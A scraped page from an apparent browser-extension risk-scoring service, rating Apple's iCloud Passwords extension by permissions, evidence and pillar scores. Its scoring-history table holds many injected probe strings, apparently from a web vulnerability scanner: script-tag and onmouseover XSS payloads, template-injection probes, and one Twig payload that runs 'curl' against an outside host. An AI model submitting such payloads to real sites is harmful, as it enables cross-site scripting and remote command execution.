iCloud Passwords
pejdijmoenmkgeppbflobdenhhabjlaj
Risk Score
3.88
Risk Level:
Low
Recommendation:
🟢 LOW RISK — review
Top Risks
- Privacy policy is Apple's generic corporate policy — does not scope data collection to this extension specifically.
- nativeMessaging + *://*/* host access grants near-native code execution reach across all browsing sessions.
- Low rating (2.3) at 6M installs may signal user-experience issues or platform-integration frustrations.
- Operator cluster sibling (fkepacicchenbjecpbpbclokcabebhah) under same fingerprint warrants verification.
- No CSP declared (MV3 mitigates strict default, but explicit policy absent).
Evidence
- developer_identity store Developer is Apple Inc. (apple.com), domain resolves, not a throwaway; recognized org discount applies.
- native_messaging_recognized manifest has_native_messaging=true, publisher_recognized=true — companion app from Apple is expected.
- broad_host_access manifest host_permissions *://*/* + content_scripts *://*/* justified for password-manager autofill category.
- privacy_policy_generic api Policy fetched but scope_extension=false, data_collection=true, third_party_sharing=false → +10 privacy pillar.
- no_cve_no_bad_hosts crx cve_findings_raw empty, bad_host_hits empty, affiliate_hits empty, monetization_hits empty.
- clean_code crx code_findings_raw empty, obfuscation_score=0.0, js_external_hosts empty — no exfil indicators.
- operator_cluster api sibling_count=1 (fkepacicchenbjecpbpbclokcabebhah) under same dev email fingerprint.
- low_rating store Rating 2.3 at 6M installs; review_red_flags match_count=0, no malware/redirect complaints detected.
Permissions Breakdown
- privacy high Can read/modify browser privacy settings; HIGH-impact capability per rubric.
- nativeMessaging high Communicates with native app (iCloud Passwords helper); publisher_recognized=true mitigates.
- host_permissions: *://*/* high Broad host access across all URLs; justified for password-manager autofill function.
- content_scripts_matches: *://*/* high Content scripts on every site; expected for autofill but significant reach.
- scripting medium Dynamic script injection; paired with broad host access increases surface.
- webNavigation medium Observes all navigation events; needed to trigger autofill on page load.
- declarativeContent low Controls extension UI visibility; low direct risk.
- storage low Local extension storage; standard for settings persistence.
- contextMenus low Adds right-click menu entries; minimal risk.
Pillar Scores
Permissions5.50
Reputation2.50
Network2.00
Webstore3.50
Maintenance0.00
Privacy10.00
Code Quality0.00
CVE Exposure0.00
Operator Siblings (1)
Other extensions sharing this developer's compound fingerprint:
Scoring History
| sssiednb2f33145dp727562726963xsx | 3.35 | Low | review | 2026-09-09 |
| sssiednf70bccffdp727562726963xsx | 3.34 | Low | review | 2026-08-30 |
| fsssiedxnb8621131za xx pnb8621131zsssiedx | 3.63 | Low | review | 2026-08-26 |
| sssiedn9a1684d1dp727562726963xsx | 3.54 | Low | review | 2026-08-26 |
| <fsssiedxi"sssiedx | 3.58 | Low | review | 2026-08-13 |
| <fsssiedxi | 3.35 | Low | review | 2026-08-13 |
| <fsssiedxi$'sssiedx | 3.72 | Low | review | 2026-08-13 |
| <fsssiedxi$"sssiedx | 2.72 | Low | review | 2026-08-13 |
| <fsssiedxa"sssiedx | 3.55 | Low | review | 2026-08-13 |
| <fsssiedxa | 3.09 | Low | allow | 2026-08-13 |
| <fsssiedxa$"sssiedx | 3.14 | Low | review | 2026-08-13 |
| v3.6</script><script>rGJ2(9699)</script> | 3.54 | Low | review | 2026-08-05 |
| v3.6"onmouseover=rGJ2(99442)" | 3.26 | Low | review | 2026-08-05 |
| dfb{{98991*97996}}xca | 3.44 | Low | review | 2026-08-05 |
| v3.6&n983360=v911449 | 3.59 | Low | review | 2026-08-05 |
| v3.69541"();}]9397 | 3.38 | Low | review | 2026-08-04 |
| v3.69796287< | 3.36 | Low | review | 2026-08-04 |
| v3.6&n993830=v977339 | 2.88 | Low | review | 2026-08-04 |
| <fsssiedxf xx psssiedx | 3.18 | Low | review | 2026-07-30 |
| <fsssiedxf'sssiedx | 3.19 | Low | review | 2026-07-30 |
| <fsssiedxf$"sssiedx | 3.22 | Low | review | 2026-07-30 |
| <fsssiedx{'sssiedx | 3.14 | Low | review | 2026-07-30 |
| fsssiedx<sssiedx | 3.18 | Low | review | 2026-07-30 |
| fsssiedxm"sssiedx | 3.35 | Low | review | 2026-07-30 |
| fsssiedxm | 3.35 | Low | review | 2026-07-30 |
| sssieddrubricxsx | 3.29 | Low | review | 2026-07-30 |
| v3.6</script><script>zgcN(9907)</script> | 3.42 | Low | review | 2026-07-29 |
| %F6"onmouseover=zgcN(99105)// | 3.19 | Low | review | 2026-07-29 |
| v3.6"onmouseover=zgcN(95102)" | 3.28 | Low | review | 2026-07-29 |
| v3.6"onmouseover=zgcN(99102)" | 3.22 | Low | review | 2026-07-29 |
| dfb[[${98991*97996}]]xca | 2.96 | Low | review | 2026-07-29 |
| <th:t="${dfb}#foreach | 3.39 | Low | review | 2026-07-29 |
| "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o") | 3.37 | Low | review | 2026-07-29 |
| 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%> | 3.39 | Low | review | 2026-07-29 |
| bfgx1919%C0%BEz1%C0%BCz2a%90bcxhjl1919 | 3.29 | Low | review | 2026-07-29 |
| v3.69952785< | 3.28 | Low | review | 2026-07-29 |
| v3.69952785 | 3.34 | Low | review | 2026-07-29 |
| {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitoshwljcgqn10b30.bxss.me")}} | 3.47 | Low | allow | 2026-07-29 |
| v3.6'"()&%<zzz><ScRiPt >zgcN(9143)</ScRiPt> | 3.23 | Low | review | 2026-07-29 |
| v3.6&n968532=v940162 | 3.58 | Low | review | 2026-07-29 |
| v3.6 | 3.88 | Low | review | 2026-06-16 |
Bookkeeping
Rubric v3.6
Scored at 2026-06-16 08:03
Listing SHA
3270e9b49ca7…
Force block
— not fired
Score recovered
no
Elapsed
24.7s